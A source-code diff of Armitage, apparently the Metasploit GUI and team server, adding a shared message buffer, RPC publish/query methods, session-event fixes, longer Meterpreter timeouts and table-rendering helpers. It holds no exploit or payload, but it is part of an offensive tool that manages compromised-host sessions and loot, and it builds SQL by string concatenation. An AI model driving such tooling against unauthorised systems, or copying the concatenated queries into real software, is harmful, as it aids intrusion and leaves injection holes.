public long max = 0;
|
||||||
|
public String prompt = "";
|
||||||
|
|
||||||
|
/* store indices into this buffer */
|
||||||
|
public Map indices = new HashMap();
|
||||||
|
|
||||||
|
/* setup the buffer?!? :) */
|
||||||
|
public ArmitageBuffer(long max) {
|
||||||
|
this.max = max;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* store a prompt with this buffer... we're not going to do any indexing magic for now */
|
||||||
|
public String getPrompt() {
|
||||||
|
synchronized (this) {
|
||||||
|
return prompt;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* set the prompt */
|
||||||
|
public void setPrompt(String text) {
|
||||||
|
synchronized (this) {
|
||||||
|
prompt = text;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* post a message to this buffer */
|
||||||
|
public void put(String text) {
|
||||||
|
synchronized (this) {
|
||||||
|
/* create our message */
|
||||||
|
Message m = new Message();
|
||||||
|
m.message = text;
|
||||||
|
|
||||||
|
/* store our message */
|
||||||
|
if (last == null && first == null) {
|
||||||
|
first = m;
|
||||||
|
last = m;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
last.next = m;
|
||||||
|
last = m;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* increment number of stored messages */
|
||||||
|
size += 1;
|
||||||
|
|
||||||
|
/* limit the total number of past messages to the max size */
|
||||||
|
if (size > max) {
|
||||||
|
first = first.next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* retrieve a set of all clients consuming this buffer */
|
||||||
|
public Collection clients() {
|
||||||
|
synchronized (this) {
|
||||||
|
LinkedList clients = new LinkedList(indices.keySet());
|
||||||
|
return clients;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* free a client */
|
||||||
|
public void free(String id) {
|
||||||
|
synchronized (this) {
|
||||||
|
indices.remove(id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* reset our indices too */
|
||||||
|
public void reset() {
|
||||||
|
synchronized (this) {
|
||||||
|
first = null;
|
||||||
|
last = null;
|
||||||
|
indices.clear();
|
||||||
|
size = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* retrieve all messages available to the client (if any) */
|
||||||
|
public String get(String id) {
|
||||||
|
synchronized (this) {
|
||||||
|
/* nadaz */
|
||||||
|
if (first == null)
|
||||||
|
return "";
|
||||||
|
|
||||||
|
/* get our index into the buffer */
|
||||||
|
Message index = null;
|
||||||
|
if (!indices.containsKey(id)) {
|
||||||
|
index = first;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
index = (Message)indices.get(id);
|
||||||
|
|
||||||
|
/* nothing happening */
|
||||||
|
if (index.next == null)
|
||||||
|
return "";
|
||||||
|
|
||||||
|
index = index.next;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* now let's walk through it */
|
||||||
|
StringBuffer result = new StringBuffer();
|
||||||
|
Message temp = index;
|
||||||
|
while (temp != null) {
|
||||||
|
result.append(temp.message);
|
||||||
|
index = temp;
|
||||||
|
temp = temp.next;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* store our index */
|
||||||
|
indices.put(id, index);
|
||||||
|
|
||||||
|
return result.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
return "[" + size + " messages]";
|
||||||
|
}
|
||||||
|
}
|
|
@ -9,10 +9,10 @@ import sleep.engine.*;
|
||||||
import sleep.parser.ParserConfig;
|
import sleep.parser.ParserConfig;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
|
|
||||||
import cortana.core.*;
|
import cortana.core.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* This class launches Armitage and loads the scripts that are part of it.
|
* This class launches Armitage and loads the scripts that are part of it.
|
||||||
|
@ -101,7 +101,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
public ArmitageMain(String[] args) {
|
public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) {
|
||||||
/* tweak the parser to recognize a few useful escapes */
|
/* tweak the parser to recognize a few useful escapes */
|
||||||
ParserConfig.installEscapeConstant('c', console.Colors.color + "");
|
ParserConfig.installEscapeConstant('c', console.Colors.color + "");
|
||||||
ParserConfig.installEscapeConstant('U', console.Colors.underline + "");
|
ParserConfig.installEscapeConstant('U', console.Colors.underline + "");
|
||||||
|
@ -118,15 +118,6 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
||||||
ScriptLoader loader = new ScriptLoader();
|
ScriptLoader loader = new ScriptLoader();
|
||||||
loader.addSpecificBridge(this);
|
loader.addSpecificBridge(this);
|
||||||
|
|
||||||
/* check for server mode option */
|
|
||||||
boolean serverMode = false;
|
|
||||||
|
|
||||||
int x = 0;
|
|
||||||
for (x = 0; x < args.length; x++) {
|
|
||||||
if (args[x].equals("--server"))
|
|
||||||
serverMode = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* setup Cortana event and filter bridges... we will install these into
|
/* setup Cortana event and filter bridges... we will install these into
|
||||||
Armitage */
|
Armitage */
|
||||||
if (!serverMode) {
|
if (!serverMode) {
|
||||||
|
@ -135,6 +126,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
||||||
|
|
||||||
variables.putScalar("$__events__", SleepUtils.getScalar(events));
|
variables.putScalar("$__events__", SleepUtils.getScalar(events));
|
||||||
variables.putScalar("$__filters__", SleepUtils.getScalar(filters));
|
variables.putScalar("$__filters__", SleepUtils.getScalar(filters));
|
||||||
|
variables.putScalar("$__frame__", SleepUtils.getScalar(window));
|
||||||
|
|
||||||
loader.addGlobalBridge(events.getBridge());
|
loader.addGlobalBridge(events.getBridge());
|
||||||
loader.addGlobalBridge(filters.getBridge());
|
loader.addGlobalBridge(filters.getBridge());
|
||||||
|
@ -142,7 +134,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
||||||
|
|
||||||
/* load the appropriate scripts */
|
/* load the appropriate scripts */
|
||||||
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
|
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
|
||||||
|
int x = -1;
|
||||||
try {
|
try {
|
||||||
for (x = 0; x < scripts.length; x++) {
|
for (x = 0; x < scripts.length; x++) {
|
||||||
InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]);
|
InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]);
|
||||||
|
@ -161,6 +153,23 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(String args[]) {
|
public static void main(String args[]) {
|
||||||
new ArmitageMain(args);
|
/* check for server mode option */
|
||||||
|
boolean serverMode = false;
|
||||||
|
|
||||||
|
int x = 0;
|
||||||
|
for (x = 0; x < args.length; x++) {
|
||||||
|
if (args[x].equals("--server"))
|
||||||
|
serverMode = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* setup our armitage instance */
|
||||||
|
if (serverMode) {
|
||||||
|
new ArmitageMain(args, null, serverMode);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
MultiFrame.setupLookAndFeel();
|
||||||
|
MultiFrame frame = new MultiFrame();
|
||||||
|
new ArmitageMain(args, frame, serverMode);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener {
|
||||||
Map read;
|
Map read;
|
||||||
boolean shouldRead = go_read;
|
boolean shouldRead = go_read;
|
||||||
String command = null;
|
String command = null;
|
||||||
|
long last = 0;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
while (shouldRead) {
|
while (shouldRead) {
|
||||||
|
@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener {
|
||||||
lastRead = System.currentTimeMillis();
|
lastRead = System.currentTimeMillis();
|
||||||
}
|
}
|
||||||
|
|
||||||
read = readResponse();
|
long now = System.currentTimeMillis();
|
||||||
|
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
|
||||||
if (read == null || "failure".equals( read.get("result") + "" )) {
|
/* check if our window is not showing... if not, then we're going to switch to a very reduced
|
||||||
break;
|
read schedule. */
|
||||||
}
|
|
||||||
|
|
||||||
processRead(read);
|
|
||||||
|
|
||||||
if ((System.currentTimeMillis() - lastRead) <= 500) {
|
|
||||||
Thread.sleep(10);
|
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Thread.sleep(500);
|
read = readResponse();
|
||||||
|
if (read == null || "failure".equals( read.get("result") + "" )) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
processRead(read);
|
||||||
|
last = System.currentTimeMillis();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Thread.sleep(100);
|
||||||
|
|
||||||
synchronized (listeners) {
|
synchronized (listeners) {
|
||||||
shouldRead = go_read;
|
shouldRead = go_read;
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,60 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class EventLogTabCompletion extends GenericTabCompletion {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
|
||||||
|
public EventLogTabCompletion(Console window, RpcConnection connection) {
|
||||||
|
super(window);
|
||||||
|
this.connection = connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Collection getOptions(String text) {
|
||||||
|
try {
|
||||||
|
Map response = (Map)connection.execute("armitage.lusers", new Object[] {});
|
||||||
|
|
||||||
|
if (response.get("lusers") == null)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
Iterator users = ((Collection)response.get("lusers")).iterator();
|
||||||
|
|
||||||
|
LinkedList options = new LinkedList();
|
||||||
|
String word;
|
||||||
|
String pre;
|
||||||
|
|
||||||
|
if (text.endsWith(" ")) {
|
||||||
|
word = "";
|
||||||
|
pre = text;
|
||||||
|
}
|
||||||
|
if (text.lastIndexOf(" ") != -1) {
|
||||||
|
word = text.substring(text.lastIndexOf(" ") + 1);
|
||||||
|
pre = text.substring(0, text.lastIndexOf(" ") + 1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
word = text;
|
||||||
|
pre = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
while (users.hasNext()) {
|
||||||
|
String user = users.next() + "";
|
||||||
|
if (user.startsWith(word)) {
|
||||||
|
options.add(pre + user);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return options;
|
||||||
|
}
|
||||||
|
catch (IOException ioex) {
|
||||||
|
ioex.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
|
@ -130,6 +130,10 @@ public class Sessions extends ManagedData {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* calculate the differences and fire some events based on them */
|
||||||
|
Set newSessions = DataUtils.difference(after, before);
|
||||||
|
fireSessionEvents("session_open", newSessions.iterator(), dataz);
|
||||||
|
|
||||||
/* calculate sync events and fix the nonsync set */
|
/* calculate sync events and fix the nonsync set */
|
||||||
Set newsync = DataUtils.intersection(syncz, nonsync);
|
Set newsync = DataUtils.intersection(syncz, nonsync);
|
||||||
fireSessionEvents("session_sync", newsync.iterator(), dataz);
|
fireSessionEvents("session_sync", newsync.iterator(), dataz);
|
||||||
|
@ -137,11 +141,9 @@ public class Sessions extends ManagedData {
|
||||||
/* update our list of non-synced sessions */
|
/* update our list of non-synced sessions */
|
||||||
nonsync.removeAll(syncz);
|
nonsync.removeAll(syncz);
|
||||||
|
|
||||||
/* calculate the differences and fire some events based on them */
|
/* these are sessions that are new and sync'd -- fire events for them... */
|
||||||
Set newSessions = DataUtils.difference(after, before);
|
newSessions.removeAll(newsync); /* we already fired events for these */
|
||||||
fireSessionEvents("session_open", newSessions.iterator(), dataz);
|
newSessions.retainAll(syncz); /* keep anything that is synced */
|
||||||
|
|
||||||
newSessions.retainAll(syncz);
|
|
||||||
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
|
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
|
||||||
|
|
||||||
Set droppedSessions = DataUtils.difference(before, after);
|
Set droppedSessions = DataUtils.difference(before, after);
|
||||||
|
|
|
@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function {
|
||||||
if (name.equals("&later")) {
|
if (name.equals("&later")) {
|
||||||
final SleepClosure f = BridgeUtilities.getFunction(args, script);
|
final SleepClosure f = BridgeUtilities.getFunction(args, script);
|
||||||
final Stack argz = EventManager.shallowCopy(args);
|
final Stack argz = EventManager.shallowCopy(args);
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
public void run() {
|
SleepUtils.runCode(f, "laterz", null, argz);
|
||||||
SleepUtils.runCode(f, "laterz", null, argz);
|
}
|
||||||
}
|
else {
|
||||||
});
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
SleepUtils.runCode(f, "laterz", null, argz);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return SleepUtils.getEmptyScalar();
|
return SleepUtils.getEmptyScalar();
|
||||||
|
|
|
@ -75,7 +75,8 @@ public class ShellSession implements Runnable {
|
||||||
|
|
||||||
/* loop forever waiting for response to come back. If session is dead
|
/* loop forever waiting for response to come back. If session is dead
|
||||||
then this loop will break with an exception */
|
then this loop will break with an exception */
|
||||||
while (true) {
|
long start = System.currentTimeMillis();
|
||||||
|
while ((System.currentTimeMillis() - start) < 60000) {
|
||||||
response = readResponse();
|
response = readResponse();
|
||||||
String data = (response.get("data") + "");
|
String data = (response.get("data") + "");
|
||||||
|
|
||||||
|
@ -95,6 +96,7 @@ public class ShellSession implements Runnable {
|
||||||
|
|
||||||
Thread.sleep(100);
|
Thread.sleep(100);
|
||||||
}
|
}
|
||||||
|
System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")");
|
||||||
}
|
}
|
||||||
catch (Exception ex) {
|
catch (Exception ex) {
|
||||||
System.err.println(session + " -> " + c.text + " ( " + response + ")");
|
System.err.println(session + " -> " + c.text + " ( " + response + ")");
|
||||||
|
|
|
@ -310,13 +310,13 @@ public class DatabaseImpl implements RpcConnection {
|
||||||
if (hFilter.indexOf("sessions.") >= 0)
|
if (hFilter.indexOf("sessions.") >= 0)
|
||||||
tables.add("sessions");
|
tables.add("sessions");
|
||||||
|
|
||||||
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex));
|
temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1));
|
temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1));
|
||||||
}
|
}
|
||||||
|
|
||||||
temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex));
|
temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex));
|
||||||
temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid);
|
temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces");
|
temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces");
|
||||||
temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid);
|
temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
@ -412,6 +412,10 @@ public class DatabaseImpl implements RpcConnection {
|
||||||
return new HashMap();
|
return new HashMap();
|
||||||
}
|
}
|
||||||
else if (methodName.equals("db.clear")) {
|
else if (methodName.equals("db.clear")) {
|
||||||
|
/* clear our local cache of labels */
|
||||||
|
labels = new HashMap();
|
||||||
|
|
||||||
|
/* clear the database */
|
||||||
executeUpdate(
|
executeUpdate(
|
||||||
"BEGIN;" +
|
"BEGIN;" +
|
||||||
"DELETE FROM hosts;" +
|
"DELETE FROM hosts;" +
|
||||||
|
|
|
@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable {
|
||||||
protected String session;
|
protected String session;
|
||||||
protected boolean teammode;
|
protected boolean teammode;
|
||||||
|
|
||||||
public static long DEFAULT_WAIT = 12000;
|
public static long DEFAULT_WAIT = 120000;
|
||||||
|
|
||||||
private static class Command {
|
private static class Command {
|
||||||
public Object token;
|
public Object token;
|
||||||
|
|
|
@ -32,7 +32,7 @@ public class RpcAsync implements RpcConnection, Async {
|
||||||
if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) {
|
if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) {
|
||||||
StringBuilder keysb = new StringBuilder(methodName);
|
StringBuilder keysb = new StringBuilder(methodName);
|
||||||
|
|
||||||
for(int i = 1; i < params.length; i++)
|
for(int i = 0; i < params.length; i++)
|
||||||
keysb.append(params[i].toString());
|
keysb.append(params[i].toString());
|
||||||
|
|
||||||
String key = keysb.toString();
|
String key = keysb.toString();
|
||||||
|
|
|
@ -10,6 +10,7 @@ import javax.xml.transform.*;
|
||||||
import javax.xml.transform.dom.*;
|
import javax.xml.transform.dom.*;
|
||||||
import javax.xml.transform.stream.*;
|
import javax.xml.transform.stream.*;
|
||||||
import org.w3c.dom.*;
|
import org.w3c.dom.*;
|
||||||
|
import armitage.ArmitageBuffer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
||||||
|
@ -84,12 +85,56 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
||||||
}
|
}
|
||||||
|
|
||||||
protected HashMap locks = new HashMap();
|
protected HashMap locks = new HashMap();
|
||||||
|
protected String address = "";
|
||||||
|
protected HashMap buffers = new HashMap();
|
||||||
|
|
||||||
|
/* help implement our remote buffer API for PQS primitives */
|
||||||
|
public ArmitageBuffer getABuffer(String key) {
|
||||||
|
synchronized (buffers) {
|
||||||
|
ArmitageBuffer buffer;
|
||||||
|
if (buffers.containsKey(key)) {
|
||||||
|
buffer = (ArmitageBuffer)buffers.get(key);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
buffer = new ArmitageBuffer(16384);
|
||||||
|
buffers.put(key, buffer);
|
||||||
|
}
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getLocalAddress() {
|
||||||
|
return address;
|
||||||
|
}
|
||||||
|
|
||||||
/** Adds token, runs command, and notifies logger on call and return */
|
/** Adds token, runs command, and notifies logger on call and return */
|
||||||
public Object execute(String methodName, Object[] params) throws IOException {
|
public Object execute(String methodName, Object[] params) throws IOException {
|
||||||
if (database != null && "db.".equals(methodName.substring(0, 3))) {
|
if (database != null && "db.".equals(methodName.substring(0, 3))) {
|
||||||
return database.execute(methodName, params);
|
return database.execute(methodName, params);
|
||||||
}
|
}
|
||||||
|
else if (methodName.equals("armitage.ping")) {
|
||||||
|
try {
|
||||||
|
long time = System.currentTimeMillis() - Long.parseLong(params[0] + "");
|
||||||
|
|
||||||
|
HashMap res = new HashMap();
|
||||||
|
res.put("result", time + "");
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
HashMap res = new HashMap();
|
||||||
|
res.put("result", "0");
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.my_ip")) {
|
||||||
|
HashMap res = new HashMap();
|
||||||
|
res.put("result", address);
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.set_ip")) {
|
||||||
|
address = params[0] + "";
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
else if (methodName.equals("armitage.lock")) {
|
else if (methodName.equals("armitage.lock")) {
|
||||||
if (locks.containsKey(params[0] + "")) {
|
if (locks.containsKey(params[0] + "")) {
|
||||||
Map res = new HashMap();
|
Map res = new HashMap();
|
||||||
|
@ -105,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
||||||
locks.remove(params[0] + "");
|
locks.remove(params[0] + "");
|
||||||
return new HashMap();
|
return new HashMap();
|
||||||
}
|
}
|
||||||
|
else if (methodName.equals("armitage.publish")) {
|
||||||
|
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||||
|
buffer.put(params[1] + "");
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.query")) {
|
||||||
|
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||||
|
String data = (String)buffer.get(params[1] + "");
|
||||||
|
HashMap temp = new HashMap();
|
||||||
|
temp.put("data", data);
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.reset")) {
|
||||||
|
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||||
|
buffer.reset();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
else if (hooks.containsKey(methodName)) {
|
else if (hooks.containsKey(methodName)) {
|
||||||
RpcConnection con = (RpcConnection)hooks.get(methodName);
|
RpcConnection con = (RpcConnection)hooks.get(methodName);
|
||||||
return con.execute(methodName, params);
|
return con.execute(methodName, params);
|
||||||
|
|
|
@ -66,7 +66,7 @@ public class RpcQueue implements Runnable {
|
||||||
Thread.sleep(50);
|
Thread.sleep(50);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Thread.sleep(500);
|
Thread.sleep(200);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -92,7 +92,7 @@ public class NetworkTable extends JComponent implements ActionListener {
|
||||||
table.getColumn("Description").setPreferredWidth(500);
|
table.getColumn("Description").setPreferredWidth(500);
|
||||||
|
|
||||||
final TableCellRenderer parent = table.getDefaultRenderer(Object.class);
|
final TableCellRenderer parent = table.getDefaultRenderer(Object.class);
|
||||||
table.setDefaultRenderer(Object.class, new TableCellRenderer() {
|
final TableCellRenderer phear = new TableCellRenderer() {
|
||||||
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
||||||
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
|
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
|
||||||
|
|
||||||
|
@ -111,9 +111,15 @@ public class NetworkTable extends JComponent implements ActionListener {
|
||||||
if (tip.length() > 0) {
|
if (tip.length() > 0) {
|
||||||
component.setToolTipText(tip);
|
component.setToolTipText(tip);
|
||||||
}
|
}
|
||||||
|
|
||||||
return component;
|
return component;
|
||||||
}
|
}
|
||||||
});
|
};
|
||||||
|
|
||||||
|
table.getColumn("Address").setCellRenderer(phear);
|
||||||
|
table.getColumn("Label").setCellRenderer(phear);
|
||||||
|
table.getColumn("Description").setCellRenderer(phear);
|
||||||
|
table.getColumn("Pivot").setCellRenderer(phear);
|
||||||
|
|
||||||
table.getColumn(" ").setCellRenderer(new TableCellRenderer() {
|
table.getColumn(" ").setCellRenderer(new TableCellRenderer() {
|
||||||
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
||||||
|
|
|
@ -10,8 +10,48 @@ import table.*;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
public class ATable extends JTable {
|
public class ATable extends JTable {
|
||||||
|
public static final String indicator = " \u271A";
|
||||||
|
|
||||||
protected boolean alternateBackground = false;
|
protected boolean alternateBackground = false;
|
||||||
|
|
||||||
|
protected int[] selected = null;
|
||||||
|
|
||||||
|
/* call this function to store selections */
|
||||||
|
public void markSelections() {
|
||||||
|
selected = getSelectedRows();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fixSelection() {
|
||||||
|
if (selected.length == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
getSelectionModel().setValueIsAdjusting(true);
|
||||||
|
|
||||||
|
int rowcount = getModel().getRowCount();
|
||||||
|
|
||||||
|
for (int x = 0; x < selected.length; x++) {
|
||||||
|
if (selected[x] < rowcount) {
|
||||||
|
getSelectionModel().addSelectionInterval(selected[x], selected[x]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
getSelectionModel().setValueIsAdjusting(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* call this function to restore selections after a table update */
|
||||||
|
public void restoreSelections() {
|
||||||
|
if (!SwingUtilities.isEventDispatchThread()) {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
fixSelection();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
fixSelection();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
|
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
|
||||||
final Set specialitems = new HashSet();
|
final Set specialitems = new HashSet();
|
||||||
specialitems.add("Wordlist");
|
specialitems.add("Wordlist");
|
||||||
|
@ -39,7 +79,7 @@ public class ATable extends JTable {
|
||||||
String content = (value != null ? value : "") + "";
|
String content = (value != null ? value : "") + "";
|
||||||
|
|
||||||
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
|
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
|
||||||
content = content + " \u271A";
|
content = content + indicator;
|
||||||
}
|
}
|
||||||
|
|
||||||
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
|
||||||
|
@ -117,6 +157,47 @@ public class ATable extends JTable {
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static TableCellRenderer getTimeTableRenderer() {
|
||||||
|
return new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||||
|
|
||||||
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
|
||||||
|
|
||||||
|
try {
|
||||||
|
long size = Long.parseLong(value + "");
|
||||||
|
String units = "ms";
|
||||||
|
|
||||||
|
if (size > 1000) {
|
||||||
|
size = size / 1000;
|
||||||
|
units = "s";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
((JLabel)c).setText(size + units);
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size > 60) {
|
||||||
|
size = size / 60;
|
||||||
|
units = "m";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size > 60) {
|
||||||
|
size = size / 60;
|
||||||
|
units = "h";
|
||||||
|
}
|
||||||
|
|
||||||
|
((JLabel)c).setText(size + units);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
public void adjust() {
|
public void adjust() {
|
||||||
setShowGrid(false);
|
setShowGrid(false);
|
||||||
setIntercellSpacing(new Dimension(0, 0));
|
setIntercellSpacing(new Dimension(0, 0));
|
||||||
|
|
|
